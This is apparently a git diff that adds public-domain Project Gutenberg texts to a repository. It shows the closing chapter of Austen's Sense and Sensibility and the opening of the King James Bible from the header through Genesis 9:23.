Mansion-house; from whence +they could superintend the progress of the Parsonage, +and direct every thing as they liked on the spot;-- +could chuse papers, project shrubberies, and invent a sweep. +Mrs. Jennings's prophecies, though rather jumbled together, +were chiefly fulfilled; for she was able to visit Edward +and his wife in their Parsonage by Michaelmas, and she +found in Elinor and her husband, as she really believed, +one of the happiest couples in the world. They had +in fact nothing to wish for, but the marriage of Colonel +Brandon and Marianne, and rather better pasturage for +their cows. + +They were visited on their first settling by almost +all their relations and friends. Mrs. Ferrars came +to inspect the happiness which she was almost ashamed +of having authorised; and even the Dashwoods were at +the expense of a journey from Sussex to do them honour. + +"I will not say that I am disappointed, my dear sister," +said John, as they were walking together one morning before +the gates of Delaford House, "THAT would be saying too much, +for certainly you have been one of the most fortunate young +women in the world, as it is. But, I confess, it would +give me great pleasure to call Colonel Brandon brother. +His property here, his place, his house, every thing is in +such respectable and excellent condition!--and his woods!--I +have not seen such timber any where in Dorsetshire, as there +is now standing in Delaford Hanger!--And though, perhaps, +Marianne may not seem exactly the person to attract him-- +yet I think it would altogether be advisable for you to +have them now frequently staying with you, for as Colonel +Brandon seems a great deal at home, nobody can tell what +may happen--for, when people are much thrown together, +and see little of anybody else--and it will always be +in your power to set her off to advantage, and so forth;-- +in short, you may as well give her a chance--You understand +me."-- + +But though Mrs. Ferrars DID come to see them, and always +treated them with the make-believe of decent affection, +they were never insulted by her real favour and preference. +THAT was due to the folly of Robert, and the cunning +of his wife; and it was earned by them before many months +had passed away. The selfish sagacity of the latter, +which had at first drawn Robert into the scrape, +was the principal instrument of his deliverance from it; +for her respectful humility, assiduous attentions, +and endless flatteries, as soon as the smallest opening +was given for their exercise, reconciled Mrs. Ferrars +to his choice, and re-established him completely in +her favour. + +The whole of Lucy's behaviour in the affair, +and the prosperity which crowned it, therefore, may be held +forth as a most encouraging instance of what an earnest, +an unceasing attention to self-interest, however its progress +may be apparently obstructed, will do in securing every +advantage of fortune, with no other sacrifice than that of time +and conscience. When Robert first sought her acquaintance, +and privately visited her in Bartlett's Buildings, +it was only with the view imputed to him by his brother. +He merely meant to persuade her to give up the engagement; +and as there could be nothing to overcome but the affection +of both, he naturally expected that one or two interviews +would settle the matter. In that point, however, +and that only, he erred;--for though Lucy soon gave him +hopes that his eloquence would convince her in TIME, +another visit, another conversation, was always wanted +to produce this conviction. Some doubts always lingered +in her mind when they parted, which could only be +removed by another half hour's discourse with himself. +His attendance was by this means secured, and the rest +followed in course. Instead of talking of Edward, +they came gradually to talk only of Robert,--a subject +on which he had always more to say than on any other, +and in which she soon betrayed an interest even equal +to his own; and in short, it became speedily evident +to both, that he had entirely supplanted his brother. +He was proud of his conquest, proud of tricking Edward, +and very proud of marrying privately without his +mother's consent. What immediately followed is known. +They passed some months in great happiness at Dawlish; +for she had many relations and old acquaintances to +cut--and he drew several plans for magnificent cottages;-- +and from thence returning to town, procured the forgiveness +of Mrs. Ferrars, by the simple expedient of asking it, +which, at Lucy's instigation, was adopted. The forgiveness, +at first, indeed, as was reasonable, comprehended only Robert; +and Lucy, who had owed his mother no duty and therefore +could have transgressed none, still remained some weeks +longer unpardoned. But perseverance in humility of conduct +and messages, in self-condemnation for Robert's offence, +and gratitude for the unkindness she was treated with, +procured her in time the haughty notice which overcame +her by its graciousness, and led soon afterwards, by rapid +degrees, to the highest state of affection and influence. +Lucy became as necessary to Mrs. Ferrars, as either Robert +or Fanny; and while Edward was never cordially forgiven +for having once intended to marry her, and Elinor, +though superior to her in fortune and birth, was spoken +of as an intruder, SHE was in every thing considered, +and always openly acknowledged, to be a favourite child. +They settled in town, received very liberal assistance +from Mrs. Ferrars, were on the best terms imaginable +with the Dashwoods; and setting aside the jealousies +and ill-will continually subsisting between Fanny and Lucy, +in which their husbands of course took a part, as well +as the frequent domestic disagreements between Robert and +Lucy themselves, nothing could exceed the harmony in which +they all lived together. + +What Edward had done to forfeit the right of eldest +son, might have puzzled many people to find out; and what +Robert had done to succeed to it, might have puzzled them +still more. It was an arrangement, however, justified in +its effects, if not in its cause; for nothing ever +appeared in Robert's style of living or of talking to give +a suspicion of his regretting the extent of his income, +as either leaving his brother too little, or bringing +himself too much;--and if Edward might be judged from +the ready discharge of his duties in every particular, +from an increasing attachment to his wife and his home, +and from the regular cheerfulness of his spirits, +he might be supposed no less contented with his lot, +no less free from every wish of an exchange. + +Elinor's marriage divided her as little from her +family as could well be contrived, without rendering +the cottage at Barton entirely useless, for her mother +and sisters spent much more than half their time with her. +Mrs. Dashwood was acting on motives of policy as well +as pleasure in the frequency of her visits at Delaford; +for her wish of bringing Marianne and Colonel Brandon together +was hardly less earnest, though rather more liberal than +what John had expressed. It was now her darling object. +Precious as was the company of her daughter to her, +she desired nothing so much as to give up its constant +enjoyment to her valued friend; and to see Marianne settled at +the mansion-house was equally the wish of Edward and Elinor. +They each felt his sorrows, and their own obligations, +and Marianne, by general consent, was to be the reward +of all. + +With such a confederacy against her--with a knowledge +so intimate of his goodness--with a conviction of his fond +attachment to herself, which at last, though long after it +was observable to everybody else--burst on her--what could she +do? + +Marianne Dashwood was born to an extraordinary fate. +She was born to discover the falsehood of her own opinions, +and to counteract, by her conduct, her most favourite maxims. +She was born to overcome an affection formed so late +in life as at seventeen, and with no sentiment +superior to strong esteem and lively friendship, +voluntarily to give her hand to another!--and THAT other, +a man who had suffered no less than herself under the +event of a former attachment, whom, two years before, +she had considered too old to be married,--and who still +sought the constitutional safeguard of a flannel waistcoat! + +But so it was. Instead of falling a sacrifice +to an irresistible passion, as once she had fondly +flattered herself with expecting,--instead of remaining +even for ever with her mother, and finding her only +pleasures in retirement and study, as afterwards in her +more calm and sober judgment she had determined on,-- +she found herself at nineteen, submitting to new attachments, +entering on new duties, placed in a new home, a wife, +the mistress of a family, and the patroness of a village. + +Colonel Brandon was now as happy, as all those who best +loved him, believed he deserved to be;--in Marianne he +was consoled for every past affliction;--her regard and her +society restored his mind to animation, and his spirits +to cheerfulness; and that Marianne found her own happiness +in forming his, was equally the persuasion and delight +of each observing friend. Marianne could never love +by halves; and her whole heart became, in time, as much +devoted to her husband, as it had once been to Willoughby. + +Willoughby could not hear of her marriage without +a pang; and his punishment was soon afterwards complete +in the voluntary forgiveness of Mrs. Smith, who, by stating +his marriage with a woman of character, as the source +of her clemency, gave him reason for believing that had he +behaved with honour towards Marianne, he might at once have +been happy and rich. That his repentance of misconduct, +which thus brought its own punishment, was sincere, +need not be doubted;--nor that he long thought of Colonel +Brandon with envy, and of Marianne with regret. But that +he was for ever inconsolable, that he fled from society, +or contracted an habitual gloom of temper, or died of a +broken heart, must not be depended on--for he did neither. +He lived to exert, and frequently to enjoy himself. +His wife was not always out of humour, nor his home +always uncomfortable; and in his breed of horses and dogs, +and in sporting of every kind, he found no inconsiderable +degree of domestic felicity. + +For Marianne, however--in spite of his incivility +in surviving her loss--he always retained that decided +regard which interested him in every thing that befell her, +and made her his secret standard of perfection in woman;-- +and many a rising beauty would be slighted by him in +after-days as bearing no comparison with Mrs. Brandon. + +Mrs. Dashwood was prudent enough to remain at the cottage, +without attempting a removal to Delaford; and fortunately for +Sir John and Mrs. Jennings, when Marianne was taken from them, +Margaret had reached an age highly suitable for dancing, +and not very ineligible for being supposed to have a lover. + +Between Barton and Delaford, there was that constant +communication which strong family affection would +naturally dictate;--and among the merits and the happiness +of Elinor and Marianne, let it not be ranked as the least +considerable, that though sisters, and living almost within +sight of each other, they could live without disagreement +between themselves, or producing coolness between their husbands. + +THE END + + +End of The Project Gutenberg Etext of Sense and Sensibility + diff --git a/mccalum/bible-kjv.txt b/mccalum/bible-kjv.txt new file mode 100644 index 0000000..4fb8c37 --- /dev/null +++ b/mccalum/bible-kjv.txt @@ -0,0 +1,100117 @@ +**Welcome To The World of Free Plain Vanilla Electronic Texts** + +**Etexts Readable By Both Humans and By Computers, Since 1971** + +*These Etexts Prepared By Hundreds of Volunteers and Donations* + + +August, 1989 [Etext #10] + + +******The Project Gutenberg Etext of The King James Bible****** +******This file should be named kjv10.txt or kjv10.zip***** + + +Copyright laws are changing all over the world, be sure to check +the copyright laws for your country before posting these files!! + +Please take a look at the important information in this header. +We encourage you to keep this file on your own disk, keeping an +electronic path open for the next readers. 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And the Spirit of God moved upon the face of the +waters. + +1:3 And God said, Let there be light: and there was light. + +1:4 And God saw the light, that it was good: and God divided the light +from the darkness. + +1:5 And God called the light Day, and the darkness he called Night. +And the evening and the morning were the first day. + +1:6 And God said, Let there be a firmament in the midst of the waters, +and let it divide the waters from the waters. + +1:7 And God made the firmament, and divided the waters which were +under the firmament from the waters which were above the firmament: +and it was so. + +1:8 And God called the firmament Heaven. And the evening and the +morning were the second day. + +1:9 And God said, Let the waters under the heaven be gathered together +unto one place, and let the dry land appear: and it was so. + +1:10 And God called the dry land Earth; and the gathering together of +the waters called he Seas: and God saw that it was good. + +1:11 And God said, Let the earth bring forth grass, the herb yielding +seed, and the fruit tree yielding fruit after his kind, whose seed is +in itself, upon the earth: and it was so. + +1:12 And the earth brought forth grass, and herb yielding seed after +his kind, and the tree yielding fruit, whose seed was in itself, after +his kind: and God saw that it was good. + +1:13 And the evening and the morning were the third day. + +1:14 And God said, Let there be lights in the firmament of the heaven +to divide the day from the night; and let them be for signs, and for +seasons, and for days, and years: 1:15 And let them be for lights in +the firmament of the heaven to give light upon the earth: and it was +so. + +1:16 And God made two great lights; the greater light to rule the day, +and the lesser light to rule the night: he made the stars also. + +1:17 And God set them in the firmament of the heaven to give light +upon the earth, 1:18 And to rule over the day and over the night, and +to divide the light from the darkness: and God saw that it was good. + +1:19 And the evening and the morning were the fourth day. + +1:20 And God said, Let the waters bring forth abundantly the moving +creature that hath life, and fowl that may fly above the earth in the +open firmament of heaven. + +1:21 And God created great whales, and every living creature that +moveth, which the waters brought forth abundantly, after their kind, +and every winged fowl after his kind: and God saw that it was good. + +1:22 And God blessed them, saying, Be fruitful, and multiply, and fill +the waters in the seas, and let fowl multiply in the earth. + +1:23 And the evening and the morning were the fifth day. + +1:24 And God said, Let the earth bring forth the living creature after +his kind, cattle, and creeping thing, and beast of the earth after his +kind: and it was so. + +1:25 And God made the beast of the earth after his kind, and cattle +after their kind, and every thing that creepeth upon the earth after +his kind: and God saw that it was good. + +1:26 And God said, Let us make man in our image, after our likeness: +and let them have dominion over the fish of the sea, and over the fowl +of the air, and over the cattle, and over all the earth, and over +every creeping thing that creepeth upon the earth. + +1:27 So God created man in his own image, in the image of God created +he him; male and female created he them. + +1:28 And God blessed them, and God said unto them, Be fruitful, and +multiply, and replenish the earth, and subdue it: and have dominion +over the fish of the sea, and over the fowl of the air, and over every +living thing that moveth upon the earth. + +1:29 And God said, Behold, I have given you every herb bearing seed, +which is upon the face of all the earth, and every tree, in the which +is the fruit of a tree yielding seed; to you it shall be for meat. + +1:30 And to every beast of the earth, and to every fowl of the air, +and to every thing that creepeth upon the earth, wherein there is +life, I have given every green herb for meat: and it was so. + +1:31 And God saw every thing that he had made, and, behold, it was +very good. And the evening and the morning were the sixth day. + +2:1 Thus the heavens and the earth were finished, and all the host of +them. + +2:2 And on the seventh day God ended his work which he had made; and +he rested on the seventh day from all his work which he had made. + +2:3 And God blessed the seventh day, and sanctified it: because that +in it he had rested from all his work which God created and made. + +2:4 These are the generations of the heavens and of the earth when +they were created, in the day that the LORD God made the earth and the +heavens, 2:5 And every plant of the field before it was in the earth, +and every herb of the field before it grew: for the LORD God had not +caused it to rain upon the earth, and there was not a man to till the +ground. + +2:6 But there went up a mist from the earth, and watered the whole +face of the ground. + +2:7 And the LORD God formed man of the dust of the ground, and +breathed into his nostrils the breath of life; and man became a living +soul. + +2:8 And the LORD God planted a garden eastward in Eden; and there he +put the man whom he had formed. + +2:9 And out of the ground made the LORD God to grow every tree that is +pleasant to the sight, and good for food; the tree of life also in the +midst of the garden, and the tree of knowledge of good and evil. + +2:10 And a river went out of Eden to water the garden; and from thence +it was parted, and became into four heads. + +2:11 The name of the first is Pison: that is it which compasseth the +whole land of Havilah, where there is gold; 2:12 And the gold of that +land is good: there is bdellium and the onyx stone. + +2:13 And the name of the second river is Gihon: the same is it that +compasseth the whole land of Ethiopia. + +2:14 And the name of the third river is Hiddekel: that is it which +goeth toward the east of Assyria. And the fourth river is Euphrates. + +2:15 And the LORD God took the man, and put him into the garden of +Eden to dress it and to keep it. + +2:16 And the LORD God commanded the man, saying, Of every tree of the +garden thou mayest freely eat: 2:17 But of the tree of the knowledge +of good and evil, thou shalt not eat of it: for in the day that thou +eatest thereof thou shalt surely die. + +2:18 And the LORD God said, It is not good that the man should be +alone; I will make him an help meet for him. + +2:19 And out of the ground the LORD God formed every beast of the +field, and every fowl of the air; and brought them unto Adam to see +what he would call them: and whatsoever Adam called every living +creature, that was the name thereof. + +2:20 And Adam gave names to all cattle, and to the fowl of the air, +and to every beast of the field; but for Adam there was not found an +help meet for him. + +2:21 And the LORD God caused a deep sleep to fall upon Adam, and he +slept: and he took one of his ribs, and closed up the flesh instead +thereof; 2:22 And the rib, which the LORD God had taken from man, made +he a woman, and brought her unto the man. + +2:23 And Adam said, This is now bone of my bones, and flesh of my +flesh: she shall be called Woman, because she was taken out of Man. + +2:24 Therefore shall a man leave his father and his mother, and shall +cleave unto his wife: and they shall be one flesh. + +2:25 And they were both naked, the man and his wife, and were not +ashamed. + +3:1 Now the serpent was more subtil than any beast of the field which +the LORD God had made. And he said unto the woman, Yea, hath God said, +Ye shall not eat of every tree of the garden? 3:2 And the woman said +unto the serpent, We may eat of the fruit of the trees of the garden: +3:3 But of the fruit of the tree which is in the midst of the garden, +God hath said, Ye shall not eat of it, neither shall ye touch it, lest +ye die. + +3:4 And the serpent said unto the woman, Ye shall not surely die: 3:5 +For God doth know that in the day ye eat thereof, then your eyes shall +be opened, and ye shall be as gods, knowing good and evil. + +3:6 And when the woman saw that the tree was good for food, and that +it was pleasant to the eyes, and a tree to be desired to make one +wise, she took of the fruit thereof, and did eat, and gave also unto +her husband with her; and he did eat. + +3:7 And the eyes of them both were opened, and they knew that they +were naked; and they sewed fig leaves together, and made themselves +aprons. + +3:8 And they heard the voice of the LORD God walking in the garden in +the cool of the day: and Adam and his wife hid themselves from the +presence of the LORD God amongst the trees of the garden. + +3:9 And the LORD God called unto Adam, and said unto him, Where art +thou? 3:10 And he said, I heard thy voice in the garden, and I was +afraid, because I was naked; and I hid myself. + +3:11 And he said, Who told thee that thou wast naked? Hast thou eaten +of the tree, whereof I commanded thee that thou shouldest not eat? +3:12 And the man said, The woman whom thou gavest to be with me, she +gave me of the tree, and I did eat. + +3:13 And the LORD God said unto the woman, What is this that thou hast +done? And the woman said, The serpent beguiled me, and I did eat. + +3:14 And the LORD God said unto the serpent, Because thou hast done +this, thou art cursed above all cattle, and above every beast of the +field; upon thy belly shalt thou go, and dust shalt thou eat all the +days of thy life: 3:15 And I will put enmity between thee and the +woman, and between thy seed and her seed; it shall bruise thy head, +and thou shalt bruise his heel. + +3:16 Unto the woman he said, I will greatly multiply thy sorrow and +thy conception; in sorrow thou shalt bring forth children; and thy +desire shall be to thy husband, and he shall rule over thee. + +3:17 And unto Adam he said, Because thou hast hearkened unto the voice +of thy wife, and hast eaten of the tree, of which I commanded thee, +saying, Thou shalt not eat of it: cursed is the ground for thy sake; +in sorrow shalt thou eat of it all the days of thy life; 3:18 Thorns +also and thistles shall it bring forth to thee; and thou shalt eat the +herb of the field; 3:19 In the sweat of thy face shalt thou eat bread, +till thou return unto the ground; for out of it wast thou taken: for +dust thou art, and unto dust shalt thou return. + +3:20 And Adam called his wife's name Eve; because she was the mother +of all living. + +3:21 Unto Adam also and to his wife did the LORD God make coats of +skins, and clothed them. + +3:22 And the LORD God said, Behold, the man is become as one of us, to +know good and evil: and now, lest he put forth his hand, and take also +of the tree of life, and eat, and live for ever: 3:23 Therefore the +LORD God sent him forth from the garden of Eden, to till the ground +from whence he was taken. + +3:24 So he drove out the man; and he placed at the east of the garden +of Eden Cherubims, and a flaming sword which turned every way, to keep +the way of the tree of life. + +4:1 And Adam knew Eve his wife; and she conceived, and bare Cain, and +said, I have gotten a man from the LORD. + +4:2 And she again bare his brother Abel. And Abel was a keeper of +sheep, but Cain was a tiller of the ground. + +4:3 And in process of time it came to pass, that Cain brought of the +fruit of the ground an offering unto the LORD. + +4:4 And Abel, he also brought of the firstlings of his flock and of +the fat thereof. And the LORD had respect unto Abel and to his +offering: 4:5 But unto Cain and to his offering he had not respect. +And Cain was very wroth, and his countenance fell. + +4:6 And the LORD said unto Cain, Why art thou wroth? and why is thy +countenance fallen? 4:7 If thou doest well, shalt thou not be +accepted? and if thou doest not well, sin lieth at the door. And unto +thee shall be his desire, and thou shalt rule over him. + +4:8 And Cain talked with Abel his brother: and it came to pass, when +they were in the field, that Cain rose up against Abel his brother, +and slew him. + +4:9 And the LORD said unto Cain, Where is Abel thy brother? And he +said, I know not: Am I my brother's keeper? 4:10 And he said, What +hast thou done? the voice of thy brother's blood crieth unto me from +the ground. + +4:11 And now art thou cursed from the earth, which hath opened her +mouth to receive thy brother's blood from thy hand; 4:12 When thou +tillest the ground, it shall not henceforth yield unto thee her +strength; a fugitive and a vagabond shalt thou be in the earth. + +4:13 And Cain said unto the LORD, My punishment is greater than I can +bear. + +4:14 Behold, thou hast driven me out this day from the face of the +earth; and from thy face shall I be hid; and I shall be a fugitive and +a vagabond in the earth; and it shall come to pass, that every one +that findeth me shall slay me. + +4:15 And the LORD said unto him, Therefore whosoever slayeth Cain, +vengeance shall be taken on him sevenfold. And the LORD set a mark +upon Cain, lest any finding him should kill him. + +4:16 And Cain went out from the presence of the LORD, and dwelt in the +land of Nod, on the east of Eden. + +4:17 And Cain knew his wife; and she conceived, and bare Enoch: and he +builded a city, and called the name of the city, after the name of his +son, Enoch. + +4:18 And unto Enoch was born Irad: and Irad begat Mehujael: and +Mehujael begat Methusael: and Methusael begat Lamech. + +4:19 And Lamech took unto him two wives: the name of the one was Adah, +and the name of the other Zillah. + +4:20 And Adah bare Jabal: he was the father of such as dwell in tents, +and of such as have cattle. + +4:21 And his brother's name was Jubal: he was the father of all such +as handle the harp and organ. + +4:22 And Zillah, she also bare Tubalcain, an instructer of every +artificer in brass and iron: and the sister of Tubalcain was Naamah. + +4:23 And Lamech said unto his wives, Adah and Zillah, Hear my voice; +ye wives of Lamech, hearken unto my speech: for I have slain a man to +my wounding, and a young man to my hurt. + +4:24 If Cain shall be avenged sevenfold, truly Lamech seventy and +sevenfold. + +4:25 And Adam knew his wife again; and she bare a son, and called his +name Seth: For God, said she, hath appointed me another seed instead +of Abel, whom Cain slew. + +4:26 And to Seth, to him also there was born a son; and he called his +name Enos: then began men to call upon the name of the LORD. + +5:1 This is the book of the generations of Adam. In the day that God +created man, in the likeness of God made he him; 5:2 Male and female +created he them; and blessed them, and called their name Adam, in the +day when they were created. + +5:3 And Adam lived an hundred and thirty years, and begat a son in his +own likeness, and after his image; and called his name Seth: 5:4 And +the days of Adam after he had begotten Seth were eight hundred years: +and he begat sons and daughters: 5:5 And all the days that Adam lived +were nine hundred and thirty years: and he died. + +5:6 And Seth lived an hundred and five years, and begat Enos: 5:7 And +Seth lived after he begat Enos eight hundred and seven years, and +begat sons and daughters: 5:8 And all the days of Seth were nine +hundred and twelve years: and he died. + +5:9 And Enos lived ninety years, and begat Cainan: 5:10 And Enos lived +after he begat Cainan eight hundred and fifteen years, and begat sons +and daughters: 5:11 And all the days of Enos were nine hundred and +five years: and he died. + +5:12 And Cainan lived seventy years and begat Mahalaleel: 5:13 And +Cainan lived after he begat Mahalaleel eight hundred and forty years, +and begat sons and daughters: 5:14 And all the days of Cainan were +nine hundred and ten years: and he died. + +5:15 And Mahalaleel lived sixty and five years, and begat Jared: 5:16 +And Mahalaleel lived after he begat Jared eight hundred and thirty +years, and begat sons and daughters: 5:17 And all the days of +Mahalaleel were eight hundred ninety and five years: and he died. + +5:18 And Jared lived an hundred sixty and two years, and he begat +Enoch: 5:19 And Jared lived after he begat Enoch eight hundred years, +and begat sons and daughters: 5:20 And all the days of Jared were nine +hundred sixty and two years: and he died. + +5:21 And Enoch lived sixty and five years, and begat Methuselah: 5:22 +And Enoch walked with God after he begat Methuselah three hundred +years, and begat sons and daughters: 5:23 And all the days of Enoch +were three hundred sixty and five years: 5:24 And Enoch walked with +God: and he was not; for God took him. + +5:25 And Methuselah lived an hundred eighty and seven years, and begat +Lamech. + +5:26 And Methuselah lived after he begat Lamech seven hundred eighty +and two years, and begat sons and daughters: 5:27 And all the days of +Methuselah were nine hundred sixty and nine years: and he died. + +5:28 And Lamech lived an hundred eighty and two years, and begat a +son: 5:29 And he called his name Noah, saying, This same shall comfort +us concerning our work and toil of our hands, because of the ground +which the LORD hath cursed. + +5:30 And Lamech lived after he begat Noah five hundred ninety and five +years, and begat sons and daughters: 5:31 And all the days of Lamech +were seven hundred seventy and seven years: and he died. + +5:32 And Noah was five hundred years old: and Noah begat Shem, Ham, +and Japheth. + +6:1 And it came to pass, when men began to multiply on the face of the +earth, and daughters were born unto them, 6:2 That the sons of God saw +the daughters of men that they were fair; and they took them wives of +all which they chose. + +6:3 And the LORD said, My spirit shall not always strive with man, for +that he also is flesh: yet his days shall be an hundred and twenty +years. + +6:4 There were giants in the earth in those days; and also after that, +when the sons of God came in unto the daughters of men, and they bare +children to them, the same became mighty men which were of old, men of +renown. + +6:5 And God saw that the wickedness of man was great in the earth, and +that every imagination of the thoughts of his heart was only evil +continually. + +6:6 And it repented the LORD that he had made man on the earth, and it +grieved him at his heart. + +6:7 And the LORD said, I will destroy man whom I have created from the +face of the earth; both man, and beast, and the creeping thing, and +the fowls of the air; for it repenteth me that I have made them. + +6:8 But Noah found grace in the eyes of the LORD. + +6:9 These are the generations of Noah: Noah was a just man and perfect +in his generations, and Noah walked with God. + +6:10 And Noah begat three sons, Shem, Ham, and Japheth. + +6:11 The earth also was corrupt before God, and the earth was filled +with violence. + +6:12 And God looked upon the earth, and, behold, it was corrupt; for +all flesh had corrupted his way upon the earth. + +6:13 And God said unto Noah, The end of all flesh is come before me; +for the earth is filled with violence through them; and, behold, I +will destroy them with the earth. + +6:14 Make thee an ark of gopher wood; rooms shalt thou make in the +ark, and shalt pitch it within and without with pitch. + +6:15 And this is the fashion which thou shalt make it of: The length +of the ark shall be three hundred cubits, the breadth of it fifty +cubits, and the height of it thirty cubits. + +6:16 A window shalt thou make to the ark, and in a cubit shalt thou +finish it above; and the door of the ark shalt thou set in the side +thereof; with lower, second, and third stories shalt thou make it. + +6:17 And, behold, I, even I, do bring a flood of waters upon the +earth, to destroy all flesh, wherein is the breath of life, from under +heaven; and every thing that is in the earth shall die. + +6:18 But with thee will I establish my covenant; and thou shalt come +into the ark, thou, and thy sons, and thy wife, and thy sons' wives +with thee. + +6:19 And of every living thing of all flesh, two of every sort shalt +thou bring into the ark, to keep them alive with thee; they shall be +male and female. + +6:20 Of fowls after their kind, and of cattle after their kind, of +every creeping thing of the earth after his kind, two of every sort +shall come unto thee, to keep them alive. + +6:21 And take thou unto thee of all food that is eaten, and thou shalt +gather it to thee; and it shall be for food for thee, and for them. + +6:22 Thus did Noah; according to all that God commanded him, so did +he. + +7:1 And the LORD said unto Noah, Come thou and all thy house into the +ark; for thee have I seen righteous before me in this generation. + +7:2 Of every clean beast thou shalt take to thee by sevens, the male +and his female: and of beasts that are not clean by two, the male and +his female. + +7:3 Of fowls also of the air by sevens, the male and the female; to +keep seed alive upon the face of all the earth. + +7:4 For yet seven days, and I will cause it to rain upon the earth +forty days and forty nights; and every living substance that I have +made will I destroy from off the face of the earth. + +7:5 And Noah did according unto all that the LORD commanded him. + +7:6 And Noah was six hundred years old when the flood of waters was +upon the earth. + +7:7 And Noah went in, and his sons, and his wife, and his sons' wives +with him, into the ark, because of the waters of the flood. + +7:8 Of clean beasts, and of beasts that are not clean, and of fowls, +and of every thing that creepeth upon the earth, 7:9 There went in two +and two unto Noah into the ark, the male and the female, as God had +commanded Noah. + +7:10 And it came to pass after seven days, that the waters of the +flood were upon the earth. + +7:11 In the six hundredth year of Noah's life, in the second month, +the seventeenth day of the month, the same day were all the fountains +of the great deep broken up, and the windows of heaven were opened. + +7:12 And the rain was upon the earth forty days and forty nights. + +7:13 In the selfsame day entered Noah, and Shem, and Ham, and Japheth, +the sons of Noah, and Noah's wife, and the three wives of his sons +with them, into the ark; 7:14 They, and every beast after his kind, +and all the cattle after their kind, and every creeping thing that +creepeth upon the earth after his kind, and every fowl after his kind, +every bird of every sort. + +7:15 And they went in unto Noah into the ark, two and two of all +flesh, wherein is the breath of life. + +7:16 And they that went in, went in male and female of all flesh, as +God had commanded him: and the LORD shut him in. + +7:17 And the flood was forty days upon the earth; and the waters +increased, and bare up the ark, and it was lift up above the earth. + +7:18 And the waters prevailed, and were increased greatly upon the +earth; and the ark went upon the face of the waters. + +7:19 And the waters prevailed exceedingly upon the earth; and all the +high hills, that were under the whole heaven, were covered. + +7:20 Fifteen cubits upward did the waters prevail; and the mountains +were covered. + +7:21 And all flesh died that moved upon the earth, both of fowl, and +of cattle, and of beast, and of every creeping thing that creepeth +upon the earth, and every man: 7:22 All in whose nostrils was the +breath of life, of all that was in the dry land, died. + +7:23 And every living substance was destroyed which was upon the face +of the ground, both man, and cattle, and the creeping things, and the +fowl of the heaven; and they were destroyed from the earth: and Noah +only remained alive, and they that were with him in the ark. + +7:24 And the waters prevailed upon the earth an hundred and fifty +days. + +8:1 And God remembered Noah, and every living thing, and all the +cattle that was with him in the ark: and God made a wind to pass over +the earth, and the waters asswaged; 8:2 The fountains also of the deep +and the windows of heaven were stopped, and the rain from heaven was +restrained; 8:3 And the waters returned from off the earth +continually: and after the end of the hundred and fifty days the +waters were abated. + +8:4 And the ark rested in the seventh month, on the seventeenth day of +the month, upon the mountains of Ararat. + +8:5 And the waters decreased continually until the tenth month: in the +tenth month, on the first day of the month, were the tops of the +mountains seen. + +8:6 And it came to pass at the end of forty days, that Noah opened the +window of the ark which he had made: 8:7 And he sent forth a raven, +which went forth to and fro, until the waters were dried up from off +the earth. + +8:8 Also he sent forth a dove from him, to see if the waters were +abated from off the face of the ground; 8:9 But the dove found no rest +for the sole of her foot, and she returned unto him into the ark, for +the waters were on the face of the whole earth: then he put forth his +hand, and took her, and pulled her in unto him into the ark. + +8:10 And he stayed yet other seven days; and again he sent forth the +dove out of the ark; 8:11 And the dove came in to him in the evening; +and, lo, in her mouth was an olive leaf pluckt off: so Noah knew that +the waters were abated from off the earth. + +8:12 And he stayed yet other seven days; and sent forth the dove; +which returned not again unto him any more. + +8:13 And it came to pass in the six hundredth and first year, in the +first month, the first day of the month, the waters were dried up from +off the earth: and Noah removed the covering of the ark, and looked, +and, behold, the face of the ground was dry. + +8:14 And in the second month, on the seven and twentieth day of the +month, was the earth dried. + +8:15 And God spake unto Noah, saying, 8:16 Go forth of the ark, thou, +and thy wife, and thy sons, and thy sons' wives with thee. + +8:17 Bring forth with thee every living thing that is with thee, of +all flesh, both of fowl, and of cattle, and of every creeping thing +that creepeth upon the earth; that they may breed abundantly in the +earth, and be fruitful, and multiply upon the earth. + +8:18 And Noah went forth, and his sons, and his wife, and his sons' +wives with him: 8:19 Every beast, every creeping thing, and every +fowl, and whatsoever creepeth upon the earth, after their kinds, went +forth out of the ark. + +8:20 And Noah builded an altar unto the LORD; and took of every clean +beast, and of every clean fowl, and offered burnt offerings on the +altar. + +8:21 And the LORD smelled a sweet savour; and the LORD said in his +heart, I will not again curse the ground any more for man's sake; for +the imagination of man's heart is evil from his youth; neither will I +again smite any more every thing living, as I have done. + +8:22 While the earth remaineth, seedtime and harvest, and cold and +heat, and summer and winter, and day and night shall not cease. + +9:1 And God blessed Noah and his sons, and said unto them, Be +fruitful, and multiply, and replenish the earth. + +9:2 And the fear of you and the dread of you shall be upon every beast +of the earth, and upon every fowl of the air, upon all that moveth +upon the earth, and upon all the fishes of the sea; into your hand are +they delivered. + +9:3 Every moving thing that liveth shall be meat for you; even as the +green herb have I given you all things. + +9:4 But flesh with the life thereof, which is the blood thereof, shall +ye not eat. + +9:5 And surely your blood of your lives will I require; at the hand of +every beast will I require it, and at the hand of man; at the hand of +every man's brother will I require the life of man. + +9:6 Whoso sheddeth man's blood, by man shall his blood be shed: for in +the image of God made he man. + +9:7 And you, be ye fruitful, and multiply; bring forth abundantly in +the earth, and multiply therein. + +9:8 And God spake unto Noah, and to his sons with him, saying, 9:9 And +I, behold, I establish my covenant with you, and with your seed after +you; 9:10 And with every living creature that is with you, of the +fowl, of the cattle, and of every beast of the earth with you; from +all that go out of the ark, to every beast of the earth. + +9:11 And I will establish my covenant with you, neither shall all +flesh be cut off any more by the waters of a flood; neither shall +there any more be a flood to destroy the earth. + +9:12 And God said, This is the token of the covenant which I make +between me and you and every living creature that is with you, for +perpetual generations: 9:13 I do set my bow in the cloud, and it shall +be for a token of a covenant between me and the earth. + +9:14 And it shall come to pass, when I bring a cloud over the earth, +that the bow shall be seen in the cloud: 9:15 And I will remember my +covenant, which is between me and you and every living creature of all +flesh; and the waters shall no more become a flood to destroy all +flesh. + +9:16 And the bow shall be in the cloud; and I will look upon it, that +I may remember the everlasting covenant between God and every living +creature of all flesh that is upon the earth. + +9:17 And God said unto Noah, This is the token of the covenant, which +I have established between me and all flesh that is upon the earth. + +9:18 And the sons of Noah, that went forth of the ark, were Shem, and +Ham, and Japheth: and Ham is the father of Canaan. + +9:19 These are the three sons of Noah: and of them was the whole earth +overspread. + +9:20 And Noah began to be an husbandman, and he planted a vineyard: +9:21 And he drank of the wine, and was drunken; and he was uncovered +within his tent. + +9:22 And Ham, the father of Canaan, saw the nakedness of his father, +and told his two brethren without. + +9:23 And Shem and Japheth took a garment, and laid it upon both their +shoulders, and went backward, and covered the nakedness of their +father; and their faces were backward, and they saw not their father's +nakedness. + 